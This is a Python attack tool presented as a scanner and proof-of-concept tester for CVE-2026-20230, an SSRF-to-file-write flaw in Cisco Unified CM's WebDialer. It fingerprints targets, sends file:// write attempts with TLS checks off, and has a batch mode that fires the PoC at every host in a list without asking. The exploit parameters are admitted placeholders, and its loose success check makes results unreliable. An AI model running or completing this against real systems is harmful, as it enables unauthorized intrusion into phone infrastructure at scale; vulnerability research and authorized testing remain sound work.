import requests import sys import urllib3 import argparse from colorama import init, Fore, Style init(autoreset=True) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def print_banner(): print("="*80) print(Fore.CYAN + "CVE-2026-20230 Scanner & PoC Tester (Cisco Unified CM)") print(Fore.YELLOW + "SSRF → Arbitrary File Write → Root (Critical)") print(Fore.RED + "FOR EDUCATIONAL / AUTHORIZED TESTING ONLY!") print("="*80) def check_webdialer(target): print(Fore.CYAN + "\n[*] Checking WebDialer service...") urls_to_check = [ f"{target}/webdialer/Webdialer", f"{target}/webdialer/", f"{target}/webdialer/Cisco_WebDialer_Service", f"{target}/ccmadmin/", ] headers = {"User-Agent": "Mozilla/5.0 (compatible; CVE-2026-20230-Scanner)"} for url in urls_to_check: try: r = requests.get(url, headers=headers, timeout=10, verify=False, allow_redirects=True) if r.status_code in [200, 403]: text_lower = r.text.lower() if any(x in text_lower for x in ["webdialer", "dial", "cisco_webdialer"]): print(Fore.GREEN + f"[+] WebDialer likely enabled: {url} (Status: {r.status_code})") return True except: pass print(Fore.YELLOW + "[-] WebDialer not obviously detected.") return False def scan_target(target): print(Fore.CYAN + f"\n[*] Scanning target: {target}") headers = {"User-Agent": "Mozilla/5.0 (compatible; CVE-2026-20230-Scanner)"} paths = [ "/webdialer/Webdialer", "/webdialer/Cisco_WebDialer_Service", "/ccmadmin/showHome.do", "/login.jsp", "/cmplatform/", "/cucm-uds/", ] version_hint = None for path in paths: try: url = target.rstrip("/") + path r = requests.get(url, headers=headers, timeout=10, verify=False) print(f" {url} → {Fore.WHITE}{r.status_code}") if r.status_code == 200: text = r.text.lower() if any(v in text for v in ["14.", "15.", "cucm", "unified cm", "webdialer"]): version_hint = "Possible vulnerable Unified CM (14/15)" print(Fore.GREEN + f"[+] Possible Unified CM detected → {version_hint}") if "webdialer" in text: print(Fore.GREEN + "[+] WebDialer references found in response!") except Exception as e: print(f" {path} → {Fore.RED}Error: {str(e)[:50]}") return version_hint def test_poc(target, test_file="/tmp/cve-2026-20230-test.txt"): print(Fore.CYAN + f"\n[*] Testing PoC (File Write Primitive) on {target}") endpoint = f"{target}/webdialer/Webdialer" # Placeholder payload - REPLACE WITH REAL PoC PARAMETERS FROM GITHUB payload = { "dest": f"file://{test_file}", "url": f"file://{test_file}", "action": "doSomething", "phoneNumber": "test", # Add more parameters from actual public PoC } headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-20230-PoC)", "Content-Type": "application/x-www-form-urlencoded", } try: r = requests.post(endpoint, data=payload, headers=headers, timeout=15, verify=False) print(f" Status: {r.status_code}") snippet = r.text[:400].replace('\n', ' ') print(f" Response: {snippet}...") if r.status_code in [200, 204] or any(x in r.text.lower() for x in ["success", "written", "ok"]): print(Fore.GREEN + "[+] Possible successful file write!") print(Fore.GREEN + f" Attempted to write: {test_file}") return True else: print(Fore.YELLOW + "[-] No clear success. Try adjusting payload/endpoint.") return False except Exception as e: print(Fore.RED + f"[-] Request failed: {e}") return False def process_target(target, args, skip_prompt=False): """Process a single target. Returns: (success_flag, message)""" print("\n" + "="*80) print(Fore.MAGENTA + f"Processing target: {target}") print("="*80) target_url = target.rstrip("/") if not target_url.startswith("http"): target_url = "https://" + target_url success = False reason = "" try: # Scanning if not args.skip_scan: version_hint = scan_target(target_url) webdialer_enabled = check_webdialer(target_url) if webdialer_enabled: print(Fore.RED + "[!] WebDialer enabled → High chance of vulnerability if unpatched!") success = True reason = "WebDialer enabled" else: print(Fore.YELLOW + "[*] Scan skipped as requested.") # PoC if args.poc or (not skip_prompt and args.poc is False): if args.poc: run_poc = True else: choice = input(Fore.YELLOW + "\nRun PoC file-write test? (y/N): ").strip().lower() run_poc = (choice == 'y') if run_poc: poc_success = test_poc(target_url, args.file) if poc_success: success = True reason += " | PoC success" if reason else "PoC success" else: print(Fore.CYAN + "[*] PoC skipped.") except Exception as e: print(Fore.RED + f"[!] Unexpected error: {e}") return False, str(e) return success, reason def read_domains_from_file(filepath): """Read domains/list from file, strip empty lines and comments.""" domains = [] try: with open(filepath, 'r') as f: for line in f: line = line.strip() if line and not line.startswith('#'): domains.append(line) except Exception as e: print(Fore.RED + f"Error reading file: {e}") sys.exit(1) return domains def main(): parser = argparse.ArgumentParser(description="CVE-2026-20230 Scanner & PoC Tester - Batch Scanning Support") parser.add_argument("target", nargs="?", help="Single target URL (e.g. https://192.168.1.100:8443)") parser.add_argument("-l", "--list", help="File path: one target per line (domain or URL)") parser.add_argument("-p", "--poc", action="store_true", help="Run PoC automatically on each target (no prompt)") parser.add_argument("-f", "--file", default="/tmp/cve-2026-20230-test.txt", help="Target file path for write test (default: /tmp/cve-2026-20230-test.txt)") parser.add_argument("-s", "--skip-scan", action="store_true", help="Skip initial scanning phase") args = parser.parse_args() print_banner() # Batch mode: --list provided if args.list: domains = read_domains_from_file(args.list) if not domains: print(Fore.RED + "No valid domains found in list file.") sys.exit(1) print(Fore.CYAN + f"\n[*] Batch scan mode: {len(domains)} targets found.") if args.poc: print(Fore.YELLOW + "[!] PoC will run automatically on EVERY target.") results = [] for idx, domain in enumerate(domains, 1): print(Fore.CYAN + f"\n--- Target {idx}/{len(domains)} ---") success, reason = process_target(domain, args, skip_prompt=args.poc) results.append((domain, success, reason)) # Summary report print("\n" + "="*80) print(Fore.CYAN + "SCAN SUMMARY") print("="*80) successful = sum(1 for _, s, _ in results if s) print(f"Total targets: {len(results)}") print(f"Potential vulnerabilities (WebDialer/PoC success): {Fore.GREEN}{successful}{Style.RESET_ALL}") print(f"No vulnerability found / error: {Fore.RED}{len(results)-successful}{Style.RESET_ALL}") print("\nDetails:") for domain, success, reason in results: status = Fore.GREEN + "✓" if success else Fore.RED + "✗" reason_str = f" ({reason})" if reason else "" print(f" {status} {domain}{reason_str}") # Single target mode elif args.target: target = args.target process_target(target, args, skip_prompt=False) else: parser.print_help() sys.exit(1) print(Fore.CYAN + "\n[+] Operation completed.") print(" • Patch immediately (14SU6 / 15SU5 or newer)") print(" • Disable WebDialer service if not needed") print(" • Search GitHub for latest public PoC for exact payload") if __name__ == "__main__": main()